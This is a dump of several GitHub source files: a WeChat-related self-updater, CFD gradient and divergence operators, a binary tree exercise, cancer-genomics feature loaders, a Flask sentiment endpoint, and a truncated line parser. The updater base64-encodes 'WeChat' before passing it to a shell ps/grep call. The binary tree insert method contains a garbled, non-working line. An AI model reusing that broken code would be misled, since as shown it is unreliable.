os.path.getsize(cls.local_path)\n if remote_size == local_size:\n return True\n\n # 有新版本\n print(\"\\nNew version found, will be updated!\")\n\n # 准备目录\n temp_download_dir: str = cls.temp_dir_path + \"/download\"\n cache_path: str = temp_download_dir + \"/\" + os.path.basename(cls.remote_url)\n if os.path.exists(cache_path):\n os.remove(cache_path)\n if not os.path.exists(temp_download_dir):\n os.makedirs(temp_download_dir)\n\n # 下载\n ret: bool = cls.download(save_path=cache_path)\n if not ret:\n return False\n\n # 备份旧版本\n temp_backup_dir: str = cls.temp_dir_path + \"/backup\"\n backup_path: str = temp_backup_dir + \"/\" + os.path.basename(cls.local_path)\n if os.path.exists(backup_path):\n os.remove(backup_path)\n else:\n if not os.path.exists(temp_backup_dir):\n os.makedirs(temp_backup_dir)\n shutil.move(src=cls.local_path, dst=backup_path)\n shutil.move(src=cache_path, dst=cls.local_path)\n return True\n\n @classmethod\n def download(cls, save_path: str) -> bool:\n manager = urllib3.PoolManager()\n response: urllib3.response.HTTPResponse = manager.request('GET', cls.remote_url, preload_content=False)\n if response.status != 200:\n print(\"Download failed!\")\n return False\n file_size = int(response.headers['Content-Length'])\n\n downloaded: int = 0\n last_print: time = time.time()\n with open(save_path, 'wb') as fp:\n for chunk in response.stream():\n downloaded += fp.write(chunk)\n now = time.time()\n if now - last_print >= 0.2:\n cls.show_download_progress(downloaded=downloaded, file_size=file_size)\n last_print = time.time()\n cls.show_download_progress(downloaded=file_size, file_size=file_size)\n response.release_conn()\n return True\n\n @classmethod\n def show_download_progress(cls, downloaded: float, file_size: int):\n progress: float = downloaded / file_size\n KB_size: int = 1024\n MB_size: int = 1024 * KB_size\n GB_size: int = 1024 * MB_size\n\n measure: str = \"\"\n file_size_show: int = 0\n if file_size > GB_size:\n file_size_show = file_size / GB_size\n measure = \"GB\"\n elif file_size > MB_size:\n file_size_show = file_size / MB_size\n measure = \"MB\"\n elif file_size > KB_size:\n file_size_show = file_size / KB_size\n measure = \"KB\"\n\n ch_total: int = 50\n progress_round: int = round(progress * ch_total)\n prg_a: str = \"█\" * progress_round\n prg_b: str = \"░\" * (ch_total - progress_round)\n\n tip: str = \"\\r\" \\\n + \"Downloading... [%s%s]\" % (prg_a, prg_b) \\\n + \" [%.2f %%] [%.2f %s / %.2f %s]\" % (progress * 100, file_size_show * progress, measure, file_size_show, measure)\n print(tip, end=\"\")\n\n @classmethod\n def get_wechat_pid(clss) -> int:\n pid: int = None\n ret: str = os.popen(\"ps -x | grep \" + base64.b64decode(b'V2VDaGF0').decode(\"utf-8\")).read()\n components: list[str] = ret.split(\"\\n\")\n for item in components:\n if \"WeChat.app\" in item:\n numbers: list[str] = re.findall(r\"[1-9]+\\.?[0-9]*\", item)\n if len(numbers) > 0:\n pid_str = numbers[0]\n pid = int(pid_str)\n break\n return pid\n","repo_name":"augsun/w","sub_path":"src/wc.py","file_name":"wc.py","file_ext":"py","file_size_in_byte":5545,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"22206033964","text":"from __future__ import print_function\nimport numpy as np\n\nfrom . import config\nfrom .field import Field, CellField, IOField\n\nfrom adpy.tensor import Tensor\n\nlogger = config.Logger(__name__)\n\n\ndef div(phi, mesh, neighbour):\n # needs to be already dotted with mesh normals\n wp = mesh.areas/mesh.volumesL\n if neighbour:\n wn = -mesh.areas/mesh.volumesR\n dphi = Tensor.collate(phi*wp, mesh.owner, phi*wn, mesh.neighbour)\n else:\n dphi = Tensor.collate(phi*wp, mesh.owner)\n return dphi\n\ndef absDiv(phi, mesh, neighbour):\n wp = mesh.areas/mesh.volumesL\n if neighbour:\n wn = mesh.areas/mesh.volumesR\n dphi = Tensor.collate(phi*wp, mesh.owner, phi*wn, mesh.neighbour)\n else:\n dphi = Tensor.collate(phi*wp, mesh.owner)\n return dphi\n\n\ndef grad(phi, mesh, neighbour):\n wp = mesh.areas/mesh.volumesL\n if phi.shape == (1,):\n phiN = phi*mesh.normals\n else:\n phiN = phi.outer(mesh.normals)\n if neighbour:\n wn = -mesh.areas/mesh.volumesR\n gphi = Tensor.collate(phiN*wp, mesh.owner, phiN*wn, mesh.neighbour)\n else:\n gphi = Tensor.collate(phiN*wp, mesh.owner)\n return gphi\n\ndef gradCell(phi, mesh):\n gradPhi = 0\n nCellFaces = 6\n for i in range(0, nCellFaces):\n P = mesh.cellFaces[i]\n S = mesh.areas.extract(P)\n N = mesh.normals.extract(P)\n w = mesh.weights.extract(P) \n O = mesh.cellOwner[i]\n N = 2*N*O-N\n w = w + O - 2*w*O\n phiP = phi.extract(mesh.cellNeighbours[i])\n phiF = phi.index()*(-w + 1) + phiP*w\n if phi.shape == (1,):\n gradPhi += phiF*S*N\n else:\n gradPhi += phiF.outer(S*N)\n gradPhi = gradPhi/mesh.volumes\n return gradPhi\n\n\ndef snGrad(phiL, phiR, mesh):\n return (phiR - phiL)/mesh.deltas\n\ndef snGradCorr(phiL, phiR, gradPhiF, mesh):\n implicit = (phiR - phiL)/mesh.deltas\n cost = mesh.deltasUnit.dot(mesh.normals)\n if phiL.shape == (1,):\n explicit = gradPhiF[0].dot(mesh.normals-mesh.deltasUnit/cost)\n else:\n explicit = gradPhiF.tensordot(mesh.normals-mesh.deltasUnit/cost)\n return implicit/cost + explicit\n \n\n# code gen ends heere\ndef internal_sum(phi, mesh, sumOp=False, absolute=False):\n if sumOp:\n if not absolute:\n sumOp = mesh.sumOp\n else:\n sumOp = np.abs(mesh.sumOp)\n #x = (adsparse.basic.dot(sumOp, (phi.field * mesh.areas)))/mesh.volumes\n x = ad.sparse_tensor_dense_matmul(sumOp, phi.field * mesh.areas)/mesh.volumes\n else:\n phiF = phi.field*mesh.areas\n dimensions = (np.product(phi.dimensions),)\n x = np.zeros((mesh.nInternalCells+1,) + dimensions, config.precision)\n np.add.at(x, mesh.owner, phiF)\n if not absolute:\n np.add.at(x, mesh.neighbour[:mesh.nInternalFaces], -phiF[:mesh.nInternalFaces])\n else:\n np.add.at(x, mesh.neighbour[:mesh.nInternalFaces], phiF[:mesh.nInternalFaces])\n x = x[:-1]/mesh.volumes\n\n return x\n\n\ndef divOld(phi, U=None, ghost=False):\n logger.info('divergence of {0}'.format(phi.name))\n mesh = phi.mesh\n if U is None:\n divField = internal_sum(phi, mesh)\n else:\n assert phi.dimensions == (1,)\n divField = internal_sum((phi*U).dotN(), mesh)\n if ghost:\n divPhi = CellField('div({0})'.format(phi.name), divField, phi.dimensions, ghost=True)\n return divPhi\n else:\n return Field('div({0})'.format(phi.name), divField, phi.dimensions)\n\ndef gradOld(phi, op=False, sumOp=False, ghost=False):\n assert len(phi.dimensions) == 1\n logger.info('gradient of {0}'.format(phi.name))\n mesh = phi.mesh\n if phi.dimensions == (1,):\n dimensions = (3,)\n else:\n dimensions = phi.dimensions + (3,)\n\n if op:\n gradField = adsparse.basic.dot(mesh.gradOp, phi.field)\n gradField = gradField.reshape((mesh.nInternalCells,) + dimensions)\n if dimensions == (3,3):\n gradField = gradField.transpose((0, 2, 1))\n else:\n N = Field('N', mesh.normals, (3,))\n if dimensions == (3,):\n product = phi * N\n else:\n product = phi.outer(N)\n dimprod = np.prod(dimensions)\n product.field = np.reshape(product.field, (mesh.nFaces, dimprod))\n gradField = internal_sum(product, mesh, sumOp=sumOp)\n # if grad of vector\n if len(dimensions) == 2:\n gradField = np.reshape(gradField, (mesh.nInternalCells,) + dimensions)\n\n return IOField('grad({0})'.format(phi.name), gradField, dimensions, ghost=ghost)\n\n","repo_name":"chaitan3/adFVM","sub_path":"adFVM/op.py","file_name":"op.py","file_ext":"py","file_size_in_byte":4599,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"3"} +{"seq_id":"71550653840","text":"#. Define a Tree\nclass Node:\n def __init__(self, data):\n self.left = None\n self.right= None\n self.data = data\n \n def insert(self, data):\n # Check if the first Node is Empty or not, if it's empty populate it with insert(data)\n if self.data is None:\n self.data = data\n \n # Build a news node\n else: \n if data previous data create new nodes to the right\n elif data > self.data: \n if self.right is None:\n self.right = Node(data)\n else:\n self.right.insert(data)\n\ndef inOrderPrint(r):\n if r is None: \n return\n else:\n inOrderPrint(r.left)\n print(r.data, end = ' ')\n inOrderPrint(r.right) \n\ndef preOrderPrint(r):\n if r is None: \n return\n else: \n print(r.data, end = ' ')\n preOrderPrint(r.left)\n preOrderPrint(r.right) \n\ndef postOrder(r):\n if r is None: \n return\n else: \n print(r.data, end = ' ')\n postOrder(r.right) \n postOrder(r.left)\n \ndef makeList(r):\n if r is None:\n return\n else: \n d[r.data] = []\n makeList(r.left)\n if r.left:\n d[r.data].append(r.left.data)\n if r.right:\n d[r.data].append(r.right.data)\n makeList(r.right)\n return d\n \ndef DFPrint(tree):\n if tree is None:\n return\n else:\n if tree.left:\n DFPrint(tree.left)\n print(tree.data, end=\" \")\n if tree.right:\n DFPrint(tree.right)\n\n\nif __name__ == '__main__':\n root = Node('g')\n root.insert(\"c\")\n root.insert(\"b\")\n root.insert(\"a\")\n root.insert(\"k\")\n root.insert(\"i\")\n root.insert(\"h\")\n root.insert(\"e\")\n \nprint('in Order')\ninOrderPrint(root)\nprint(\"\\nPre Order\")\npreOrderPrint(root)\nprint(\"\\nPost Order\")\npostOrder(root)\n\n# Adjacency list \nd ={}\naList = makeList(root)\n\nprint(\"\\nAdjacency List\")\nfor ele in aList: \n print(f\"{ele}:{d[ele]}\")","repo_name":"Corentin-Damas/Algorithms-training","sub_path":"DataStructures/binaryTree.py","file_name":"binaryTree.py","file_ext":"py","file_size_in_byte":2439,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"38302049848","text":"from __future__ import annotations\n\nimport importlib\nimport os.path\nfrom functools import cached_property\nfrom typing import Iterable, Literal, Self\n\nimport numpy as np\nimport pandas as pd\n\nfrom cuppa.components.preprocessing import NaRowFilter\nfrom cuppa.logger import LoggerMixin\n\n\nclass CuppaFeaturesPaths(pd.Series, LoggerMixin):\n\n def __init__(self, paths: dict[str, str] | pd.Series):\n super().__init__(paths)\n\n BASENAMES_OLD = dict(\n #metadata=\"cup_ref_sample_data.csv\",\n gen_pos=\"cup_ref_sample_pos_freq_counts.csv\",\n snv96=\"cup_ref_snv_counts.csv\",\n driver_fusion_virus=\"cup_ref_cohort_feature_data.csv\",\n sv=\"cup_ref_cohort_sv_data.csv\",\n trait=\"cup_ref_cohort_traits_data.csv\",\n sig=\"cup_ref_cohort_signature_data.csv\",\n\n gene_exp=\"cup_ref_gene_exp_sample.csv\",\n alt_sj=\"cup_ref_alt_sj_sample.csv\",\n )\n\n BASENAMES_NEW = dict(\n gen_pos=\"gen_pos.tsv\",\n snv96=\"snv96.tsv\",\n event=\"event.tsv\",\n sig=\"sig.tsv\",\n\n gene_exp=\"gene_exp.tsv\",\n alt_sj=\"alt_sj.tsv\",\n )\n\n OPTIONAL_BASENAME_KEYS = (\"gene_exp\", \"alt_sj\")\n\n @classmethod\n def from_dir(\n cls,\n directory: str,\n basenames_mode: Literal[\"old\", \"new\"] = \"new\"\n ):\n\n if basenames_mode == \"new\":\n basenames_expected = cls.BASENAMES_NEW\n elif basenames_mode == \"old\":\n basenames_expected = cls.BASENAMES_OLD\n else:\n cls.get_class_logger(cls).error(\"`basenames_mode` must be 'old' or 'new'\")\n raise ValueError\n\n basenames = {}\n basenames_missing = {}\n paths = {}\n\n for key, basename in basenames_expected.items():\n\n basename_gz = basename + \".gz\"\n path = os.path.join(directory, basename_gz)\n if os.path.exists(path):\n basenames[key] = basename_gz\n paths[key] = path\n continue\n\n path = os.path.join(directory, basename)\n if os.path.exists(path):\n basenames[key] = basename\n paths[key] = path\n continue\n\n basenames_missing[key] = basename\n\n if len(basenames_missing)==0:\n return CuppaFeaturesPaths(paths)\n\n\n required_basenames_missing = {}\n logger = cls.get_class_logger(cls)\n for key, basename in basenames_missing.items():\n\n if key in cls.OPTIONAL_BASENAME_KEYS:\n logger.warning(\"Missing optional input file for %s: %s\" % (key, basename))\n continue\n\n logger.error(\"Missing required input file for %s: %s\" % (key, basename))\n required_basenames_missing[key] = basename\n\n if len(required_basenames_missing) > 0:\n logger.info(\"Could not load paths to features. Maybe set basenames_mode='old'?\")\n raise Exception\n\n return CuppaFeaturesPaths(paths)\n\n\nclass CuppaFeatures(pd.DataFrame, LoggerMixin):\n def __init__(self, df: pd.DataFrame, *args, **kwargs):\n super().__init__(df, *args, **kwargs)\n\n @property\n def _constructor(self):\n return CuppaFeatures\n\n @cached_property\n def col_feat_types(self) -> pd.Index:\n ## Match up to but excluding first dot\n return self.columns.str.extract(\"(^\\w+[^.])\", expand=False)\n\n @cached_property\n def feat_types(self) -> pd.Series:\n return pd.Series(self.col_feat_types.unique())\n\n def get_feat_type_cols(self, sel_feat_types: str | Iterable[str]):\n sel_feat_types = pd.Series(sel_feat_types)\n\n invalid_feat_types = sel_feat_types[~sel_feat_types.isin(self.feat_types)]\n if len(invalid_feat_types)>0:\n self.logger.error(\"Invalid feature types: \" + \", \".join(invalid_feat_types))\n raise LookupError\n\n sel_cols = self.col_feat_types.isin(sel_feat_types)\n return self.loc[:, sel_cols]\n\n FEAT_TYPES_WIDE = [\"gen_pos\", \"gene_exp\", \"alt_sj\"]\n\n def to_tsv_files(\n self,\n out_dir: str,\n drop_na_rows: bool = True,\n float_format: str = \"%.8g\",\n chunksize: int = 1000,\n verbose: bool = True,\n *args, **kwargs\n ) -> None:\n # out_dir = \"/Users/lnguyen/Hartwig/hartwigmedical/analysis/cup/pycuppa/output/cuppa_features/\"\n\n for feat_type in self.feat_types:\n # feat_type=\"gene_exp\"\n\n path = os.path.join(out_dir, feat_type + \".tsv.gz\")\n df = self.get_feat_type_cols(feat_type)\n\n if drop_na_rows:\n na_rows = NaRowFilter.detect_na_rows(df, use_first_col=True)\n df = df.loc[~na_rows]\n\n if feat_type in self.FEAT_TYPES_WIDE:\n df = df.transpose()\n\n if verbose:\n self.logger.info(\"Writing %s tsv to: %s\" % (feat_type, path))\n\n df.to_csv(\n path,\n sep=\"\\t\",\n float_format=float_format,\n chunksize=chunksize,\n *args, **kwargs\n )\n\n # TODO: the below method is subject to change\n @classmethod\n def from_tsv_files(cls, paths: CuppaFeaturesPaths, verbose: bool = True) -> Self:\n\n features = {}\n for feat_type, path in paths.items():\n if verbose:\n cls.get_class_logger(cls).info(\"Reading %s tsv from: %s\" % (feat_type, path))\n\n df = pd.read_table(path, index_col=0, engine=\"c\")\n if feat_type in cls.FEAT_TYPES_WIDE:\n df = df.transpose()\n\n features[feat_type] = df\n\n features = pd.concat(features.values(), axis=1)\n return CuppaFeatures(features)\n\n\nclass FeatureLoaderNew(LoggerMixin):\n\n def __init__(self, path: str, verbose: bool = False):\n self.path = path\n self.verbose = verbose\n\n ## Loading ================================\n FEAT_INFO_COLS = dict(\n Source = \"source\",\n Category = \"category\",\n Key = \"key\"\n )\n\n def load_feat_info(self, path: str) -> pd.DataFrame:\n\n if self.verbose:\n self.logger.debug(\"Loading features info\")\n\n df = pd.read_table(\n path,\n index_col=False,\n usecols=list(self.FEAT_INFO_COLS.keys())\n )\n\n df.columns = self.FEAT_INFO_COLS.values()\n\n return df\n\n ## Helper methods to parse feature names ================================\n def _rename_categories(self, feat_info: pd.DataFrame) -> None:\n\n if self.verbose:\n self.logger.debug(\"Renaming `Category` values\")\n\n mappings = dict(\n GEN_POS=\"gen_pos\",\n SNV96=\"snv96\",\n SV_COUNT=\"event.sv\",\n FUSION=\"event.fusion\",\n SAMPLE_TRAIT=\"event.trait\",\n SIGNATURE=\"sig\",\n\n EXPRESSION=\"gene_exp\",\n ALT_SJ=\"alt_sj\",\n\n ## TODO: below mappings are subject to change\n DRIVER=\"event.driver\",\n VIRUS=\"virus\",\n )\n\n feat_info[\"category_renamed\"] = feat_info[\"category\"].replace(mappings)\n\n\n def _rename_keys(self, feat_info: pd.DataFrame) -> None:\n\n if self.verbose:\n self.logger.debug(\"Renaming `Key` values\")\n\n mappings_sigs = dict(\n SIG_1 = \"Age (SBS1)\",\n SIG_2_13_AID_APOBEC = \"AID/APOBEC (SBS2/13)\",\n SIG_4_SMOKING = \"Smoking (SBS4)\",\n SIG_6_MMR = \"MMRD (SBS6)\",\n SIG_7_UV = \"UV (SBS7)\",\n SIG_10_POLE = \"POLE (SBS10)\",\n SIG_11 = \"Temozolomide (SBS11)\",\n SIG_17 = \"ROS/5FU (SBS17)\",\n )\n\n mappings_traits = dict(\n IS_MALE = \"is_male\",\n SNV_COUNT=\"tmb.snv_count\",\n MS_INDELS_TMB = \"tmb.indels_per_mb\",\n WGD = \"whole_genome_duplication\",\n )\n\n mappings = mappings_sigs | mappings_traits\n feat_info[\"key_renamed\"] = feat_info[\"key\"].replace(mappings)\n\n def _make_final_feat_names(self, feat_info: pd.DataFrame) -> None:\n\n if self.verbose:\n self.logger.debug(\"Renaming `feat_name` values\")\n\n mappings = {\n \"event.trait.tmb.snv_count\": \"event.tmb.snv_count\",\n \"event.trait.tmb.indels_per_mb\": \"event.tmb.indels_per_mb\"\n }\n\n feat_names = feat_info[\"category_renamed\"] + \".\" + feat_info[\"key_renamed\"]\n feat_names.replace(mappings, inplace=True)\n\n feat_info[\"feat_name\"] = feat_names\n\n def _get_feat_types(self, feat_info: pd.DataFrame, sep=\".\") -> None:\n affixes = feat_info[\"feat_name\"].str.split(sep, regex=False, n=1)\n prefixes = affixes.map(lambda x: x[0])\n feat_info[\"feat_type\"] = prefixes\n\n EXCLUDED_FEATURES = (\n \"Age (SBS1)\",\n \"POLE (SBS10)\",\n \"Temozolomide (SBS11)\"\n )\n\n def _mark_excluded_features(self, feat_info: pd.DataFrame) -> None:\n if self.verbose:\n self.logger.debug(\"Excluding %i features: %s\" % (\n len(self.EXCLUDED_FEATURES),\n \", \".join(self.EXCLUDED_FEATURES)\n ))\n\n feat_info[\"is_excluded\"] = feat_info[\"key_renamed\"]\\\n .isin(self.EXCLUDED_FEATURES)\\\n .values\n\n def _mark_duplicate_features(self, feat_info: pd.DataFrame):\n\n feat_info[\"is_duplicated\"] = feat_info[\"key_renamed\"].duplicated()\n duplicate_features = feat_info.query(\"is_duplicated\")[\"feat_name\"]\n\n if self.verbose and len(duplicate_features)>0:\n self.logger.warning(\"Removing %i duplicate features: %s\" % (\n len(duplicate_features),\n \", \".join(duplicate_features)\n ))\n\n ## Main ================================\n def parse_feature_names(self) -> pd.DataFrame:\n\n if self.verbose:\n self.logger.info(\"Parsing feature names\")\n\n feat_info = self.load_feat_info(self.path)\n\n self._rename_categories(feat_info)\n self._rename_keys(feat_info)\n self._make_final_feat_names(feat_info)\n self._get_feat_types(feat_info)\n self._mark_excluded_features(feat_info)\n self._mark_duplicate_features(feat_info)\n\n return feat_info.drop([\"category_renamed\", \"key_renamed\"], axis=1)\n\n def load_feature_values(self) -> pd.DataFrame:\n header = pd.read_table(self.path, nrows=0).columns\n sample_cols = header[~header.isin(self.FEAT_INFO_COLS.keys())]\n\n return pd.read_table(\n self.path,\n index_col=False,\n usecols=sample_cols,\n dtype=\"float32\",\n engine='c'\n )\n\n def load(self):\n df = self.load_feature_values()\n\n ## Assign feature names\n feat_info = self.parse_feature_names()\n df.index = feat_info[\"feat_name\"].values\n\n ## Remove some features\n df = df.loc[\n ~feat_info[\"is_excluded\"].values &\n ~feat_info[\"is_duplicated\"].values\n ]\n df = df.transpose()\n\n return CuppaFeatures(df)\n\n\nclass FeatureLoaderOld(LoggerMixin):\n\n def __init__(\n self,\n paths: CuppaFeaturesPaths,\n genome_version: int = 37,\n excl_chroms: Iterable[str] = [\"ChrY\", \"Y\"],\n verbose: bool = True\n ):\n self.paths = paths\n self.genome_version = genome_version\n self.excl_chroms = excl_chroms\n self.verbose = verbose\n\n @staticmethod\n def _add_prefix_to_columns(df, prefix: str, sep=\".\") -> None:\n df.columns = prefix + sep + df.columns\n\n ## SNV features ================================\n @cached_property\n def gen_pos_matrix(self) -> pd.DataFrame:\n\n if self.verbose:\n self.logger.info(\"Loading features: gen_pos\")\n\n if self.genome_version not in [37, 38]:\n self.logger.error(\"`genome_version`\")\n raise ValueError\n\n feat_names = pd.read_csv(\n importlib.resources.files(\"resources\") / (\"feature_names/gen_pos.hg%i.csv\" % self.genome_version)\n )\n\n matrix = pd.read_csv(self.paths[\"gen_pos\"]).transpose()\n matrix.columns = feat_names[\"chrom\"] + \"_\" + feat_names[\"pos\"].astype(str)\n\n if self.excl_chroms is not None:\n excl_chroms = pd.Series(self.excl_chroms)\n matrix = matrix.loc[:, ~matrix.columns.str.startswith(tuple(excl_chroms))]\n\n return matrix\n\n @cached_property\n def snv96_matrix(self) -> pd.DataFrame:\n\n if self.verbose:\n self.logger.info(\"Loading features: snv96\")\n\n matrix = pd.read_csv(self.paths[\"snv96\"]).transpose()\n\n feat_names = pd.read_csv(importlib.resources.files(\"resources\") / \"feature_names/snv96.csv\")\n matrix.columns = feat_names[\"context\"].values\n\n return matrix\n\n @cached_property\n def sig_matrix(self):\n\n if self.verbose:\n self.logger.info(\"Loading features: signatures\")\n\n df = pd.read_csv(self.paths[\"sig\"])\n\n matrix = df.pivot_table(index=df[\"SampleId\"], columns=\"SigName\", values=\"Allocation\", fill_value=0)\n\n matrix[\"Sig2/Sig13\"] = matrix[\"Sig2\"] + matrix[\"Sig13\"]\n\n feat_names = pd.Series({\n \"Sig2/Sig13\": \"AID/APOBEC (SBS2/13)\",\n \"Sig4\": \"Smoking (SBS4)\",\n \"Sig6\": \"MMRD (SBS6)\",\n \"Sig7\": \"UV (SBS7)\",\n \"Sig17\": \"ROS/5FU (SBS17)\"\n\n })\n\n matrix = matrix[feat_names.index]\n matrix.columns = feat_names.values\n\n return matrix\n\n ## Event features ================================\n @cached_property\n def sv_matrix(self) -> pd.DataFrame:\n matrix = pd.read_csv(self.paths[\"sv\"], index_col=\"SampleId\")\n self._add_prefix_to_columns(matrix, \"sv\")\n return matrix\n\n\n @cached_property\n def _df_driver_fusion_virus(self) -> pd.DataFrame:\n return pd.read_csv(self.paths[\"driver_fusion_virus\"])\n\n @cached_property\n def driver_matrix(self) -> pd.DataFrame:\n\n df = self._df_driver_fusion_virus.copy()\n df = df[df[\"Type\"].isin([\"DRIVER\", \"INDEL\"])]\n\n ## Remove 'INDEL' prefix\n df.loc[df[\"Type\"] == \"INDEL\", \"Name\"] = \\\n df.loc[df[\"Type\"] == \"INDEL\", \"Name\"].str.replace(\"^.+_\", \"\", regex=True)\n\n ## Mutation subtype\n df[\"sub_type\"] = df[\"ExtraInfo\"] \\\n .str.extract(\"(TYPE=.+$)\", expand=False) \\\n .str.replace(\"TYPE=\", \"\", regex=False) \\\n .str.lower() \\\n .fillna(\"mut\")\n\n df.loc[df[\"sub_type\"] == \"del\", \"sub_type\"] = \"mut\"\n df.loc[df[\"Type\"] == \"INDEL\", \"sub_type\"] = \"indel\"\n\n ## Select max likelihood feature\n df = df.sort_values([\"Name\", \"SampleId\", \"Likelihood\"])\n df[\"sample_feature_id\"] = df[\"SampleId\"] + \"_\" + df[\"Name\"]\n df = df.drop_duplicates(\"sample_feature_id\", keep=\"last\")\n\n ## Wide format\n df[\"feature_name\"] = df[\"Name\"] + \".\" + df[\"sub_type\"]\n matrix = df.pivot_table(index='SampleId', columns='feature_name', values='Likelihood', fill_value=0)\n\n self._add_prefix_to_columns(matrix, \"driver\")\n\n return matrix\n\n @cached_property\n def fusion_matrix(self) -> pd.DataFrame:\n df = self._df_driver_fusion_virus.query(\"Type=='FUSION'\")\n matrix = df.pivot_table(index='SampleId', columns='Name', values='Likelihood', fill_value=0)\n self._add_prefix_to_columns(matrix, \"fusion\")\n return matrix\n\n @cached_property\n def virus_matrix(self) -> pd.DataFrame:\n df = self._df_driver_fusion_virus.query(\"Type=='VIRUS'\")\n matrix = df.pivot_table(index='SampleId', columns='Name', values='Likelihood', fill_value=0)\n self._add_prefix_to_columns(matrix, \"virus\")\n return matrix\n\n\n @cached_property\n def _df_trait(self):\n return pd.read_csv(self.paths[\"trait\"], index_col=\"SampleId\")\n\n @cached_property\n def tmb_matrix(self):\n matrix = pd.DataFrame({\n \"snv_count\": self.snv96_matrix.sum(axis=1),\n \"indels_per_mb\": self._df_trait[\"MsIndelsPerMb\"]\n })\n self._add_prefix_to_columns(matrix, \"tmb\")\n return matrix\n\n @cached_property\n def trait_matrix(self):\n matrix = pd.DataFrame({\n \"is_male\": (self._df_trait[\"Gender\"] == \"MALE\").astype(int),\n \"whole_genome_duplication\": self._df_trait[\"WholeGenomeDuplication\"].astype(int)\n })\n self._add_prefix_to_columns(matrix, \"trait\")\n return matrix\n\n\n @cached_property\n def event_matrix(self):\n\n if self.verbose:\n self.logger.info(\"Loading features: event\")\n\n l = [\n self.driver_matrix,\n self.fusion_matrix,\n self.virus_matrix,\n self.sv_matrix,\n self.tmb_matrix,\n self.trait_matrix,\n ]\n\n return pd.concat(l, axis=1)\n\n @cached_property\n def gene_exp_matrix(self):\n\n if self.verbose:\n self.logger.info(\"Loading features: gene_exp\")\n\n path = self.paths[\"gene_exp\"]\n\n ## Get sample columns\n index_cols = [\"GeneId\", \"GeneName\"]\n cols = pd.read_csv(path, nrows=0).columns\n sample_cols = cols[~cols.isin(index_cols)]\n\n ## Load feature values\n matrix = pd.read_csv(\n path,\n low_memory=False,\n usecols=list(sample_cols) + [\"GeneName\"],\n index_col=\"GeneName\",\n engine=\"c\"\n )\n matrix = matrix.transpose()\n matrix.fillna(0, inplace=True)\n\n self._add_prefix_to_columns(matrix, \"gene_exp\")\n\n return matrix\n\n @cached_property\n def alt_sj_matrix(self):\n\n if self.verbose:\n self.logger.info(\"Loading features: alt_sj\")\n\n path = self.paths[\"alt_sj\"]\n\n ## Get sample columns\n index_cols = [\"GeneId\", \"Chromosome\", \"PosStart\", \"PosEnd\"]\n cols = pd.read_csv(path, nrows=0).columns\n sample_cols = cols[~cols.isin(index_cols)]\n\n ## Load feature values\n matrix = pd.read_csv(\n path,\n low_memory=False,\n usecols=sample_cols,\n dtype=\"float32\",\n engine=\"c\"\n )\n\n matrix = matrix.transpose()\n matrix.fillna(0, inplace=True)\n matrix = np.log1p(matrix)\n\n ## Assign feature names\n feature_names_cols = pd.read_csv(path, low_memory=False, usecols=index_cols, dtype=str)\n matrix.columns = \\\n feature_names_cols[\"Chromosome\"] + \";\" + \\\n feature_names_cols[\"PosStart\"] + \";\" + \\\n feature_names_cols[\"PosEnd\"]\n\n self._add_prefix_to_columns(matrix, \"alt_sj\")\n\n return matrix\n\n ## Combine ================================\n @cached_property\n def dna_features(self):\n features = dict(\n gen_pos = self.gen_pos_matrix,\n snv96 = self.snv96_matrix,\n event = self.event_matrix,\n sig = self.sig_matrix\n )\n\n for name, df in features.items():\n self._add_prefix_to_columns(df, prefix=name)\n\n features = pd.concat(features.values(), axis=1)\n features.fillna(0, inplace=True)\n\n features.index.name = \"sample_id\"\n\n return features\n\n @cached_property\n def rna_features(self):\n features = pd.concat([\n self.gene_exp_matrix,\n self.alt_sj_matrix\n ], axis=1)\n\n features.index.name = \"sample_id\"\n\n return features\n\n def load_dna_features(self):\n return CuppaFeatures(self.dna_features)\n\n def load_rna_features(self):\n return CuppaFeatures(self.rna_features)\n\n def load_features(self):\n\n df = pd.concat([\n self.dna_features,\n self.rna_features\n ], axis=1)\n\n return CuppaFeatures(df)\n","repo_name":"hartwigmedical/hmftools","sub_path":"cuppa/src/main/python/pycuppa/cuppa/sample_data/cuppa_features.py","file_name":"cuppa_features.py","file_ext":"py","file_size_in_byte":19664,"program_lang":"python","lang":"en","doc_type":"code","stars":157,"dataset":"github-code","pt":"3"} +{"seq_id":"72309464402","text":"from flask import Flask, request, jsonify\nfrom datetime import datetime\nimport os\nimport json\nfrom dostoevsky.tokenization import RegexTokenizer\nfrom dostoevsky.models import FastTextSocialNetworkModel\n\nclass TrainedModel:\n def __init__(self):\n tokenizer = RegexTokenizer()\n self.model = FastTextSocialNetworkModel(tokenizer=tokenizer)\n # pass\n\n \n def get_mood_coefficient(self, input_text):\n return self.model.predict([input_text], k=5)[0]\n # return {\"neutral\": 0.5}\n\nclass DecisionLadder:\n def get_text_by_mood(mood):\n return mood\n \n def get_options_by_mood_history(mood):\n return []\n\n\n\napp = Flask(__name__)\nmoodModel = TrainedModel()\n\n\n@app.route('/', methods=['POST'])\ndef index():\n # print(request.json)\n user = request.form.get('username')\n message = request.form.get('message')\n print(\"request\", user, message)\n\n mood = max(moodModel.get_mood_coefficient(message).items(),\n key=lambda x: x[1])\n\n if mood[0] in ['speech', 'skip']:\n mood = ('neutral', mood[1])\n\n return json.dumps({\n 'Mood': mood[0],\n 'Current action': DecisionLadder.get_text_by_mood(mood),\n 'Potential actions':\n DecisionLadder.get_options_by_mood_history(mood)\n })\n\n\nif __name__ == '__main__':\n port = int(os.environ.get('PORT', 5001))\n app.run(host = '0.0.0.0', port = port)","repo_name":"Inverseit/app","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1400,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"36756660905","text":"import unittest\n\nclass Line:\n def __init__(self, x1, y1, x2, y2):\n self.x1 = x1\n self.x2 = x2\n self.y1 = y1\n self.y2 = y2\n\n def is_vertical(self):\n return self.y1 == self.y2\n\n def is_horizontal(self):\n return self.x1 == self.x2\n\n def overlaps(self, other):\n if self.is_horizontal():\n return not other.is_horizontal() and self.y1 > other.y1 and self.y2 < other.y2\n elif self.is_vertical():\n return not other.is_vertical() and self.x1 > other.x1 and self.x2 > other.x2\n else:\n return False\n\ndef get_raw_lines(filename):\n with open(filename) as f:\n return f.readlines()\n\ndef parse_lines(raw_lines):\n matches = []\n 